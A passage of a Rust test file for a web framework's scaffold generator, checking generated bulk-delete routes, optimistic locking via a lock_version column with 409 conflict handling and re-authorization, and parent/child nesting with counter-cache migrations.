action_contents(&plan, "src/routes/posts.rs")
};
let soft_deleted = bulk_routes(&ScaffoldOptions {
model: ModelOptions {
soft_delete: true,
..Default::default()
},
..Default::default()
});
for routes in [bulk_routes_default(), owner_scoped, soft_deleted] {
let bulk = handler_slice(&routes, "bulk_delete");
let drop_at = bulk
.find("drop(db);")
.unwrap_or_else(|| panic!("bulk delete must release its Db:\n{bulk}"));
let load_at = bulk
.find(".load(&mut *db)")
.unwrap_or_else(|| panic!("bulk delete must load the rows:\n{bulk}"));
let delete_at = bulk
.find(".delete_many(&")
.unwrap_or_else(|| panic!("bulk delete must call delete_many:\n{bulk}"));
assert!(
load_at < drop_at && drop_at < delete_at,
"the Db must be dropped after the load and before delete_many:\n{bulk}"
);
}
}
#[test]
fn bulk_delete_never_returns_bad_request() {
let routes = bulk_routes_default();
let bulk = handler_slice(&routes, "bulk_delete");
assert!(
!bulk.contains("bad_request"),
"an empty or malformed selection must never 400: {bulk}"
);
assert!(
!bulk.contains("StatusCode::BAD_REQUEST"),
"an empty or malformed selection must never 400: {bulk}"
);
}
#[test]
fn bulk_delete_empty_selection_redirects_without_deleting() {
let routes = bulk_routes_default();
let bulk = handler_slice(&routes, "bulk_delete");
assert!(bulk.contains("is_empty()"), "{bulk}");
let redirect_at = bulk
.find("Redirect::to(&paths::index())")
.unwrap_or_else(|| panic!("empty selection must redirect to the index:\n{bulk}"));
let delete_at = bulk
.find(".delete_many(&")
.unwrap_or_else(|| panic!("bulk delete must call delete_many:\n{bulk}"));
assert!(
redirect_at < delete_at,
"the empty-selection early return must precede the delete:\n{bulk}"
);
}
/// Issue #3394: the ids decode into a `Vec<i64>` field through the
/// framework form decoder. No generated parser remains.
#[test]
fn bulk_selection_is_a_vec_field_that_accepts_bracket_form() {
let routes = bulk_routes_default();
assert!(!routes.contains("parse_bulk_ids"), "{routes}");
let Some((_, rest)) = routes.split_once("struct BulkSelection") else {
panic!("routes must emit a BulkSelection form struct:\n{routes}");
};
let selection = rest.split("\n}").next().unwrap_or(rest);
assert!(selection.contains("ids: Vec<i64>"), "{selection}");
assert!(selection.contains("alias = \"ids[]\""), "{selection}");
assert!(selection.contains("default"), "{selection}");
let bulk = handler_slice(&routes, "bulk_delete");
assert!(
bulk.contains("autumn_web::form::from_urlencoded::<BulkSelection>(&body)"),
"{bulk}"
);
}
/// A crafted POST can carry as many distinct ids as the body limit
/// allows. Dedup must stay O(1) per value — a `Vec::contains` scan would
/// make it Θ(n²) and let a small request burn real CPU before the handler
/// reaches the database.
#[test]
fn bulk_selection_dedupes_in_linear_time() {
let routes = bulk_routes_default();
let bulk = handler_slice(&routes, "bulk_delete");
assert!(
bulk.contains("HashSet") && bulk.contains("seen.insert("),
"dedup must go through a hash set, not a linear scan: {bulk}"
);
assert!(
!bulk.contains("ids.contains(&"),
"a per-value Vec::contains scan makes dedup quadratic: {bulk}"
);
}
/// A malformed or repeated-scalar body flashes and redirects. It never
/// 400s (see `bulk_delete_never_returns_bad_request`).
#[test]
fn bulk_delete_malformed_selection_flashes_and_redirects() {
let routes = bulk_routes_default();
let bulk = handler_slice(&routes, "bulk_delete");
let decode_at = bulk
.find("from_urlencoded::<BulkSelection>")
.unwrap_or_else(|| panic!("bulk delete must decode a BulkSelection:\n{bulk}"));
let after = &bulk[decode_at..];
let else_at = after
.find("else {")
.unwrap_or_else(|| panic!("a decode failure must take an else branch:\n{bulk}"));
let branch = &after[else_at..];
assert!(branch.contains("flash"), "{branch}");
assert!(branch.contains("Redirect::to(&paths::index())"), "{branch}");
assert!(bulk.contains("not a valid selection"), "{bulk}");
}
#[test]
fn bulk_delete_authorizes_each_selected_row() {
// An owner column (`user_id`) turns on the policy/authorize wiring.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "user_id:i64".into()],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
let bulk = handler_slice(&routes, "bulk_delete");
assert!(
bulk.contains("for "),
"authorization must run per row: {bulk}"
);
assert!(bulk.contains("authorize::<Post>("), "{bulk}");
assert!(bulk.contains("\"delete\""), "{bulk}");
}
#[test]
fn bulk_delete_soft_delete_filters_already_deleted() {
let routes = bulk_routes(&ScaffoldOptions {
model: ModelOptions {
soft_delete: true,
..Default::default()
},
..Default::default()
});
let bulk = handler_slice(&routes, "bulk_delete");
assert!(
bulk.contains("deleted_at.is_null()"),
"the soft-delete SELECT must skip already-deleted rows: {bulk}"
);
}
#[test]
fn bulk_delete_omitted_for_live_variant() {
let routes = bulk_routes(&ScaffoldOptions {
live: true,
..Default::default()
});
assert!(!routes.contains("bulk_delete"), "{routes}");
assert!(!routes.contains("bulk_actions_form"), "{routes}");
}
#[test]
fn bulk_delete_omitted_for_live_validation_variant() {
let routes = bulk_routes(&ScaffoldOptions {
live_validation: true,
..Default::default()
});
assert!(!routes.contains("bulk_delete"), "{routes}");
assert!(!routes.contains("bulk_actions_form"), "{routes}");
}
#[test]
fn bulk_delete_omitted_for_sharded_variant() {
let routes = bulk_routes(&ScaffoldOptions {
model: ModelOptions {
sharded: true,
shard_key: Some("title".to_owned()),
..Default::default()
},
..Default::default()
});
assert!(!routes.contains("bulk_delete"), "{routes}");
assert!(!routes.contains("bulk_actions_form"), "{routes}");
}
#[test]
fn paths_macro_includes_bulk_delete() {
let routes = bulk_routes_default();
let Some((paths_block, _)) = routes
.split_once("autumn_web::paths![")
.and_then(|(_, rest)| rest.split_once("];"))
else {
panic!("routes must emit an autumn_web::paths! block:\n{routes}");
};
assert!(
paths_block.contains("bulk_delete"),
"paths! must export bulk_delete so paths::bulk_delete() resolves: {paths_block}"
);
}
#[test]
fn main_rs_registers_bulk_delete_after_destroy() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &bulk_fields(), "20260427000000").unwrap();
let main = action_contents(&plan, "src/main.rs");
assert!(main.contains("routes::posts::bulk_delete"), "{main}");
let destroy_at = main
.find("routes::posts::destroy")
.unwrap_or_else(|| panic!("main.rs must mount destroy:\n{main}"));
let bulk_at = main
.find("routes::posts::bulk_delete")
.unwrap_or_else(|| panic!("main.rs must mount bulk_delete:\n{main}"));
assert!(
destroy_at < bulk_at,
"bulk_delete must be registered immediately after destroy:\n{main}"
);
}
#[test]
fn write_path_test_covers_bulk_delete() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &bulk_fields(), "20260427000000").unwrap();
let test_file = action_contents(&plan, "tests/post.rs");
assert!(test_file.contains("/posts/bulk_delete"), "{test_file}");
assert!(test_file.contains("ids=1&ids=2"), "{test_file}");
assert!(
test_file.contains("0 row(s)"),
"the bulk delete must be observed to remove both rows: {test_file}"
);
// The empty-selection case is a 303 no-op, not a 400.
let Some((_, bulk_section)) = test_file.split_once("/posts/bulk_delete") else {
panic!("write-path test must exercise bulk_delete:\n{test_file}");
};
assert!(
bulk_section.contains(".form(\"\")") || bulk_section.contains("ids="),
"an empty-ids POST must be exercised: {bulk_section}"
);
assert!(
bulk_section.contains("assert_status(303)"),
"the empty-ids POST must still redirect with 303: {bulk_section}"
);
assert!(
!bulk_section.contains("assert_status(400)"),
"an empty selection must never 400: {bulk_section}"
);
}
#[test]
fn live_scaffold_output_contains_no_bulk_artifacts() {
let routes = bulk_routes(&ScaffoldOptions {
live: true,
..Default::default()
});
for needle in ["bulk", "bulk_actions", "ids[]"] {
assert!(
!routes.contains(needle),
"the --live scaffold must carry no `{needle}` artifact: {routes}"
);
}
}
// ── optimistic locking on the edit form (issue #1318) ───────────────────
//
// A scaffold whose field set declares `lock_version` must carry the version
// through the edit form and guard the UPDATE with it, so two concurrent
// editors get a 409 re-render instead of silently clobbering each other.
/// A slug column token, held in a const so its `{from:title}` braces never
/// sit inside a macro invocation (clippy reads them as a format argument).
const SLUG_COL: &str = "slug:slug{from:title}";
/// The `Post` scaffold field list with a `lock_version` column.
fn lock_fields() -> Vec<String> {
vec!["title:String".into(), "lock_version:i32".into()]
}
fn lock_plan(options: &ScaffoldOptions) -> Result<Plan, GenerateError> {
let tmp = project_with_main(default_main());
// The TempDir must outlive the plan's file reads, which all happen
// during planning — `action_contents` reads from the in-memory plan.
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&lock_fields(),
"20260427000000",
options,
);
drop(tmp);
plan
}
/// The routes source of a default `Post` scaffold carrying `lock_version`.
fn lock_routes() -> String {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&lock_fields(),
"20260427000000",
&ScaffoldOptions::default(),
)
.unwrap();
action_contents(&plan, "src/routes/posts.rs")
}
#[test]
fn lock_version_edit_form_renders_hidden_version_input() {
// AC 1: the edit form carries the row's current `lock_version` as a
// hidden input so the submit says which version the user was editing.
let routes = lock_routes();
assert!(
routes.contains("name=\"lock_version\""),
"edit form must render a hidden lock_version input: {routes}"
);
let edit = handler_slice(&routes, "edit_form");
assert!(
edit.contains("row.lock_version"),
"edit_form must seed the hidden input from the loaded row: {edit}"
);
// The create form must NOT carry it: a new row has no version yet.
let new_form = handler_slice(&routes, "new_form");
assert!(
!new_form.contains("lock_version"),
"new_form must not carry a lock_version: {new_form}"
);
}
#[test]
fn lock_version_is_excluded_from_the_editable_form_struct() {
// The version is machinery, not content: it must not surface as a
// "Lock version" text box, and it must not be settable from user input
// through the ordinary column path.
let routes = lock_routes();
assert!(
!routes.contains("pub lock_version: i32,\n}"),
"lock_version must not be a PostForm column: {routes}"
);
assert!(
!routes.contains("posts::lock_version.eq(new.lock_version"),
"lock_version must not be set from the submitted form value: {routes}"
);
}
#[test]
fn lock_version_update_guards_the_write_and_bumps_the_version() {
// AC 2 + AC 4: the UPDATE carries a `WHERE lock_version = $expected`
// guard and increments the column in the same statement, so the check
// and the bump are atomic.
let routes = lock_routes();
let update = handler_slice(&routes, "update");
assert!(
update.contains("posts::lock_version.eq(expected_lock_version)"),
"the UPDATE must be guarded by the expected version: {update}"
);
assert!(
update.contains("posts::lock_version.eq(posts::lock_version + 1)"),
"a successful UPDATE must increment the version: {update}"
);
assert!(
routes.contains("fn parse_lock_version("),
"the routes file must parse the submitted version out of the body: {routes}"
);
}
#[test]
fn lock_version_parser_survives_a_colliding_security_field_name() {
// The CSRF and submit-token field names are app-configurable, so an app
// may legitimately name one of them `lock_version` — and those hidden
// inputs are prepended, landing in the body BEFORE the real version.
// Taking the first `lock_version` pair would read a UUID, fail to parse
// it, and 400 every update. The parser scans for the first pair that
// parses instead.
let routes = lock_routes();
assert!(
routes.contains(".filter(|(key, _)| key == \"lock_version\")")
&& routes.contains(".find_map(|(_, value)| value.parse::<i32>().ok())"),
"the parser must scan every lock_version pair, not stop at the first: {routes}"
);
assert!(
!routes.contains(".find(|(key, _)| key == \"lock_version\")"),
"a first-match-wins parse is the collision bug: {routes}"
);
}
#[test]
fn lock_version_conflict_rerenders_the_edit_form_at_409() {
// AC 3: a stale submit is not a dead-end error page — it re-renders the
// edit form at 409 with the submitted values and an inline banner, and
// it is distinguished from a genuinely missing row (404).
let routes = lock_routes();
let update = handler_slice(&routes, "update");
assert!(
update.contains("StatusCode::CONFLICT"),
"a stale submit must respond 409: {update}"
);
assert!(
update.contains("lock_conflict"),
"the 409 branch must flag the shared edit body to show the banner: {update}"
);
assert!(
update.contains("not_found_msg"),
"a genuinely missing row must still be a 404, not a 409: {update}"
);
assert!(
routes.contains("changed by someone else"),
"the re-rendered form must carry an inline conflict banner: {routes}"
);
assert!(
routes.contains("role=\"alert\""),
"the banner must be announced to assistive tech: {routes}"
);
}
#[test]
fn a_re_read_row_is_re_authorized_before_it_is_used() {
// Both guarded writes re-read the row when they match zero. The policy
// check earlier in each handler ran against the snapshot that request
// loaded — and a record policy can depend on mutable row data (the
// generated owner policy does), so the very write that moved the version
// may also have moved the row out of this actor's reach. Rendering or
// reading the re-read row unchecked would leak it.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"user:references".into(),
"status:String:states(draft->published)".into(),
"lock_version:i32".into(),
],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
let needle = "authorize::<Post>(&state, &session, \"update\", ¤t)";
// The transition path renders the whole row, so this is the sharp case.
let transition = handler_slice(&routes, "transition_status");
let conflict_at = transition
.find("if updated == 0")
.expect("transition conflict branch");
assert!(
transition[conflict_at..].contains(needle),
"the transition 409 must re-authorize before rendering: {transition}"
);
let reauthz_at = conflict_at + transition[conflict_at..].find(needle).unwrap();
let render_at = transition[conflict_at..]
.find("show_view(")
.map(|i| conflict_at + i)
.expect("show_view in the conflict branch");
assert!(
reauthz_at < render_at,
"the check must come BEFORE the render: {transition}"
);
// The update path only carries the version integer across, but re-checks
// for the same reason rather than arguing about how sensitive it is.
let update = handler_slice(&routes, "update");
let uconflict = update
.find("if updated == 0")
.expect("update conflict branch");
assert!(
update[uconflict..].contains(needle),
"the update 409 must re-authorize the re-read row: {update}"
);
}
#[test]
fn a_no_policy_scaffold_emits_no_conflict_reauthorization() {
// Nothing to re-check without a policy, and the emitted branch must not
// reference a `state`/`session` the handler never took.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&lock_fields(),
"20260427000000",
&ScaffoldOptions {
no_policy: true,
..Default::default()
},
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
assert!(
!routes.contains("authorize::<Post>"),
"a --no-policy scaffold must emit no authorize calls: {routes}"
);
assert!(
handler_slice(&routes, "update").contains("StatusCode::CONFLICT"),
"the 409 branch is still emitted: {routes}"
);
}
#[test]
fn lock_version_conflict_rerender_carries_the_fresh_version() {
// Re-rendering with the STALE version would make the form unsavable
// forever: the user would resubmit the same losing version and conflict
// again. The 409 body carries the row's current version so a second
// Save applies the user's values on top of the newer row.
let routes = lock_routes();
let update = handler_slice(&routes, "update");
assert!(
update.contains("let lock_version_value = current.lock_version;"),
"the 409 re-render must carry the freshly-read version: {update}"
);
}
#[test]
fn lock_version_scaffold_emits_a_stale_write_smoke_test() {
// AC 6: the generated suite proves the contract — a stale submit yields
// a 409 re-render and leaves the row untouched; a fresh submit succeeds
// and bumps the version.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&lock_fields(),
"20260427000000",
&ScaffoldOptions::default(),
)
.unwrap();
let test_file = action_contents(&plan, "tests/post.rs");
assert!(
test_file.contains("async fn posts_optimistic_lock_conflict()"),
"an optimistic-lock write-path test must be emitted: {test_file}"
);
assert!(
test_file.contains("assert_status(409)"),
"the stale submit must assert a 409: {test_file}"
);
assert!(
test_file.contains("assert_status(303)"),
"the fresh submit must still redirect: {test_file}"
);
}
#[test]
fn scaffold_without_lock_version_carries_no_locking_artifacts() {
// AC 5: zero behavior change for the overwhelming common case.
let routes = bulk_routes_default();
for needle in [
"lock_version",
"lock_conflict",
"CONFLICT",
"changed by someone else",
] {
assert!(
!routes.contains(needle),
"a scaffold with no lock_version column must carry no `{needle}`: {routes}"
);
}
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
let test_file = action_contents(&plan, "tests/post.rs");
assert!(
!test_file.contains("lock_version"),
"the generated test suite must carry no locking artifacts: {test_file}"
);
}
#[test]
fn lock_version_is_refused_on_variants_whose_update_path_is_not_wired() {
// `--live`/`--sharded` write through the repository extractor and the
// attachment path writes after a multipart save; neither routes through
// the guarded statement, so generating them would emit silently lossy
// code. Refuse up front instead (same posture as the `slug` gates).
for (label, options) in [
(
"--live",
ScaffoldOptions {
live: true,
..Default::default()
},
),
(
"--sharded",
ScaffoldOptions {
model: ModelOptions {
sharded: true,
shard_key: Some("title".into()),
..Default::default()
},
..Default::default()
},
),
] {
let err = lock_plan(&options).expect_err("{label} + lock_version must be refused");
let msg = format!("{err}");
assert!(
msg.contains("lock_version"),
"the {label} refusal must name lock_version: {msg}"
);
}
}
#[test]
fn api_scaffolds_are_exempt_from_every_variant_gate() {
// `--api` emits no routes file, so none of the HTML-surface variants
// can be inconsistent with a guarded update that does not exist. These
// combinations generated fine before #1318 and must keep doing so; the
// model attribute still lands, which is what conflict-checks the JSON
// update. (`--api` is NOT exempt from the empty-insert-struct guard —
// that one is about `New{Model}`, which every variant emits.)
for (label, cols, options) in [
(
"--api --live",
vec!["title:String".to_owned(), "lock_version:i32".to_owned()],
ScaffoldOptions {
api: true,
live: true,
..Default::default()
},
),
(
"--api --sharded",
vec!["title:String".to_owned(), "lock_version:i32".to_owned()],
ScaffoldOptions {
api: true,
model: ModelOptions {
sharded: true,
shard_key: Some("title".to_owned()),
..Default::default()
},
..Default::default()
},
),
(
"--api + attachment",
vec![
"title:String".to_owned(),
"cover:Attachment".to_owned(),
"lock_version:i32".to_owned(),
],
ScaffoldOptions {
api: true,
..Default::default()
},
),
] {
let tmp = project_with_main(default_main());
let plan =
plan_scaffold_with_options(tmp.path(), "Post", &cols, "20260427000000", &options);
assert!(
plan.is_ok(),
"{label} + lock_version must still generate: {:?}",
plan.err()
);
}
}
#[test]
fn destroying_a_legacy_lock_version_scaffold_is_never_blocked_by_the_new_gates() {
// A scaffold generated before these refusals existed must stay
// removable. `destroy` recomputes the plan it is about to revert, so a
// refusal here lands BEFORE `Plan::revert` sees `--force` — stranding
// exactly the files the user asked to delete, with no way out.
for (label, cols, options) in [
(
"--live",
lock_fields(),
ScaffoldOptions {
live: true,
..Default::default()
},
),
(
"--sharded",
lock_fields(),
ScaffoldOptions {
model: ModelOptions {
sharded: true,
shard_key: Some("title".to_owned()),
..Default::default()
},
..Default::default()
},
),
(
"slug",
vec![
"title:String".to_owned(),
SLUG_COL.to_owned(),
"lock_version:i32".to_owned(),
],
ScaffoldOptions::default(),
),
(
"attachment",
vec![
"title:String".to_owned(),
"cover:Attachment".to_owned(),
"lock_version:i32".to_owned(),
],
ScaffoldOptions::default(),
),
] {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options_for_revert(
tmp.path(),
"Post",
&cols,
"20260427000000",
&options,
);
assert!(
plan.is_ok(),
"destroying a legacy {label} + lock_version scaffold must plan: {:?}",
plan.err()
);
}
}
#[test]
fn lock_version_is_refused_alongside_a_slug_column() {
// A slug scaffold keys `update` off the slug, not the primary key, so
// `WHERE slug = ... AND lock_version = ...` does not identify a stable
// row: rename a slug, let a new row (version 0) claim the freed value,
// and a stale submit would commit over that unrelated record while
// reporting success. Refuse the pair rather than ship the swap.
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"slug:slug{from:title}".into(),
"lock_version:i32".into(),
],
"20260427000000",
)
.unwrap_err();
let msg = format!("{err}");
assert!(
msg.contains("lock_version") && msg.contains("slug"),
"the refusal must name both columns: {msg}"
);
}
#[test]
fn lock_version_scaffold_with_no_insertable_columns_is_refused() {
// Counting declared tokens would miss this: two columns are declared,
// but `--default` drops `title` from the insert struct and
// `#[lock_version]` drops the version, leaving `NewPost` empty — which
// does not implement `Insertable` and would not compile.
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "lock_version:i32".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
defaults: vec!["title=x".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap_err();
let msg = format!("{err}");
assert!(
msg.contains("no insertable columns") && msg.contains("NewPost"),
"got: {msg}"
);
}
#[test]
fn lock_version_cannot_be_the_only_column() {
// The column is DB-managed, so it contributes no form field — a
// scaffold declaring only `lock_version` would emit an empty
// `NewPost`, which is not `Insertable` and does not compile.
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&["lock_version:i32".into()],
"20260427000000",
)
.unwrap_err();
let msg = format!("{err}");
assert!(
msg.contains("no insertable columns") && msg.contains("NewPost"),
"the refusal must explain why one column is not enough: {msg}"
);
}
#[test]
fn state_transition_is_a_compare_and_swap_on_the_version() {
// A transition is a read-modify-write: it loads the row, checks the edge
// is legal from the state it read, then writes. Without a guard, two
// concurrent transitions out of the same source state both pass the
// check and both commit — the second silently overwriting the first.
// The bump alone does not prevent that; the WHERE does.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"status:String:states(draft->published)".into(),
"lock_version:i32".into(),
],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
let transition = handler_slice(&routes, "transition_status");
assert!(
transition.contains(".filter(posts::lock_version.eq(row.lock_version))"),
"the transition write must be guarded by the version it read: {transition}"
);
assert!(
transition.contains("if updated == 0") && transition.contains("StatusCode::CONFLICT"),
"a lost transition race must 409, not report success: {transition}"
);
assert!(
transition.contains("changed by someone else"),
"the 409 must explain itself: {transition}"
);
// Zero rows is ambiguous: the version moved, or the row was deleted
// between the load and the write. The transition path re-reads to tell
// them apart, exactly as `update` does — otherwise a concurrent delete
// renders a conflict page for a row that can no longer be reloaded.
assert!(
transition.contains(".optional()?") && transition.contains("not_found_msg"),
"a concurrent delete must 404, not 409: {transition}"
);
// And the 409 shows the row as it now stands, not this request's stale
// snapshot — the legal transitions may have changed.
assert!(
transition.contains("¤t,"),
"the 409 must render the re-read row: {transition}"
);
}
#[test]
fn state_transition_bumps_the_lock_version() {
// The bump is the other half: it makes the transition visible to anyone
// else guarding on the version, so an author whose edit form predates
// the transition is told the record moved on instead of saving over it.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"status:String:states(draft->published)".into(),
"lock_version:i32".into(),
],
"20260427000000",
)
.unwrap();
let routes = action_contents(&plan, "src/routes/posts.rs");
let transition = handler_slice(&routes, "transition_status");
assert!(
transition.contains("posts::lock_version.eq(posts::lock_version + 1)"),
"the transition write must bump the version: {transition}"
);
}
#[test]
fn lock_version_hidden_input_is_prepended_after_the_submit_token() {
// `prepend` renders in call order, and `SubmitTokenLayer` only scans the
// body's first chunk (issue #1360) — so the token must still be the
// first field, with the version input behind it.
let routes = lock_routes();
let token_at = routes
.find("form = form.prepend(submit_token_input(")
.expect("submit token prepend");
let lock_at = routes
.find("input type=\"hidden\" name=\"lock_version\" value=(version);")
.expect("lock version prepend");
assert!(
token_at < lock_at,
"the submit token must be prepended before the lock version:\n{routes}"
);
}
#[test]
fn lock_version_is_refused_alongside_attachment_fields() {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"cover:attachment".into(),
"lock_version:i32".into(),
],
"20260427000000",
)
.unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("lock_version"), "got: {msg}");
}
// ── `--belongs-to` parent/child nesting (issue #1323) ──────────────────
/// A project whose `Post` parent has already been scaffolded, so
/// `src/routes/posts.rs` exists for the child's `--belongs-to` injection.
/// Returns the temp project plus the parent plan (already executed on disk).
fn project_with_scaffolded_parent() -> TempDir {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname = \"x\"\n\n\
[dependencies]\n\
autumn-web = \"0.6.0\"\n\
maud = { version = \"0.27\", features = [\"axum\"] }\n\
diesel_migrations = \"2\"\n\n\
[dev-dependencies]\n\
tokio = { version = \"1\", features = [\"rt\", \"macros\"] }\n",
)
.unwrap();
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
tmp
}
fn belongs_to_options() -> ScaffoldOptions {
ScaffoldOptions {
belongs_to: Some("Post".to_owned()),
..ScaffoldOptions::default()
}
}
/// Plan a `Comment body:Text post:references --belongs-to Post` scaffold
/// against a project whose `Post` parent is already scaffolded.
fn nested_comment_plan(tmp: &TempDir) -> Plan {
plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&belongs_to_options(),
)
.unwrap()
}
// ── #1325 `--counter-cache` ───────────────────────────────────────────
fn counter_cache_options() -> ScaffoldOptions {
ScaffoldOptions {
counter_cache: true,
..belongs_to_options()
}
}
fn counter_cached_comment_plan(tmp: &TempDir) -> Plan {
plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&counter_cache_options(),
)
.unwrap()
}
#[test]
fn counter_cache_emits_a_not_null_zero_default_column_on_the_parent() {
let tmp = project_with_scaffolded_parent();
let plan = counter_cached_comment_plan(&tmp);
let up = action_contents(
&plan,
"migrations/202604280000001_add_comment_count_to_posts/up.sql",
);
assert!(
up.contains("ALTER TABLE posts ADD COLUMN comment_count BIGINT NOT NULL DEFAULT 0;"),
"the counter column must be NOT NULL with a 0 default (the maintenance \
is `c = c + 1`, and NULL + 1 is NULL): {up}"
);
let down = action_contents(
&plan,
"migrations/202604280000001_add_comment_count_to_posts/down.sql",
);
assert!(
down.contains("ALTER TABLE posts DROP COLUMN comment_count;"),
"{down}"
);
}
#[test]
fn counter_cache_opts_the_generated_child_model_in() {
let tmp = project_with_scaffolded_parent();
let plan = counter_cached_comment_plan(&tmp);
let model = action_contents(&plan, "src/models/comment.rs");
assert!(
model.contains("#[belongs_to(Post, counter_cache)]"),
"the child model must carry the attribute that drives the maintenance: {model}"
);
// Issue #2431: a substring check alone let a build-breaking ordering
// bug ship — `#[belongs_to(...)]` is a helper attribute that only
// `#[autumn_web::model]`'s own expansion understands, so rustc
// accepts it only BELOW `#[model]`; emitted above, `cargo check`
// fails with `cannot find attribute belongs_to in this scope` on
// every real scaffold (which always has at least a blank line
// between the doc header and `#[model]`, unlike this test's old
// bare fixture).
let model_pos = model
.find("#[autumn_web::model]")
.expect("model attribute present");
let belongs_to_pos = model
.find("#[belongs_to(Post, counter_cache)]")
.expect("belongs_to attribute present");
assert!(
model_pos < belongs_to_pos,
"#[belongs_to] must be emitted below #[autumn_web::model], not above it: {model}"
);
}
#[test]
fn counter_cache_tells_the_author_about_the_parent_side_lines() {
let tmp = project_with_scaffolded_parent();
let plan = counter_cached_comment_plan(&tmp);
let warning = plan
.warnings
.iter()
.find(|w| w.contains("--counter-cache"))
.expect("the parent-side lines must be surfaced");
assert!(warning.contains("comment_count -> Int8,"), "{warning}");
assert!(warning.contains("pub comment_count: i64,"), "{warning}");
}
#[test]
fn counter_cache_survives_a_force_regeneration_without_stacking_attributes_or_imports() {
// `--counter-cache` is typed once; a later `generate … --force` (e.g.
// after adding a field) is the ordinary way it gets repeated, and must
// not stack a second `#[belongs_to]` or duplicate `use` line onto the
// freshly-rendered model. The parent-side warning is generate-only
// (never persisted anywhere the scaffold could read back), so it must
// still be surfaced on every run, not just the first.
let tmp = project_with_scaffolded_parent();
counter_cached_comment_plan(&tmp)
.execute(Flags::default())
.unwrap();
let regen = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&counter_cache_options(),
)
.unwrap();
let model = action_contents(®en, "src/models/comment.rs");
assert_eq!(
model.matches("#[belongs_to(Post, counter_cache)]").count(),
1,
"a --force regeneration must not stack the attribute: {model}"
);
assert_eq!(
model.matches("use crate::schema::posts;").count(),
1,
"a --force regeneration must not stack the schema import: {model}"
);
assert_eq!(
model.matches("use crate::models::post::Post;").count(),
1,
"a --force regeneration must not stack the model import: {model}"
);
assert!(
regen.warnings.iter().any(|w| w.contains("--counter-cache")),
"the parent-side lines must still be surfaced on a regeneration"
);
}
#[test]
fn counter_cache_without_belongs_to_is_refused() {
let tmp = project_with_scaffolded_parent();
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&ScaffoldOptions {
counter_cache: true,
..ScaffoldOptions::default()
},
)
.expect_err("--counter-cache alone is meaningless");
assert!(
format!("{err}").contains("--belongs-to"),
"the error must name the flag it needs: {err}"
);
}
#[test]
fn a_plain_belongs_to_scaffold_emits_no_counter_column() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let paths = scaffold_paths(&plan);
assert!(
!paths
.iter()
.any(|p| p.contains("add_comment_count_to_posts")),
"the flag is opt-in: {paths:?}"
);
}
#[test]
fn the_counter_migration_is_on_the_revert_plan_too() {
// `Plan::revert` discovers removable migration directories from the
// plan's `Create` actions under `migrations/`, so a revert plan that
// omitted these would leave the counter migration on disk after
// `autumn destroy scaffold` — and a later `migrate` run would then add a
// column to a parent whose child scaffold is gone.
let tmp = project_with_scaffolded_parent();
let plan = plan_scaffold_with_options_for_revert(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&counter_cache_options(),
)
.unwrap();
let paths = scaffold_paths(&plan);
for side in ["up.sql", "down.sql"] {
let wanted = format!("migrations/202604280000001_add_comment_count_to_posts/{side}");
assert!(
paths.iter().any(|p| p == &wanted),
"the revert plan must carry {wanted}: {paths:?}"
);
}
}
#[test]
fn belongs_to_emits_nested_read_and_create_routes() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(
routes.contains("#[get(\"/posts/{post_id}/comments\", name = \"nested_index\")]"),
"missing nested read route:\n{routes}"
);
assert!(
routes.contains("#[post(\"/posts/{post_id}/comments\", name = \"nested_create\")]"),
"missing nested create route:\n{routes}"
);
assert!(
routes.contains("pub async fn nested_index("),
"missing nested_index handler:\n{routes}"
);
assert!(
routes.contains("pub async fn nested_create("),
"missing nested_create handler:\n{routes}"
);
}
#[test]
fn belongs_to_nested_list_filters_to_the_parent_and_paginates() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(
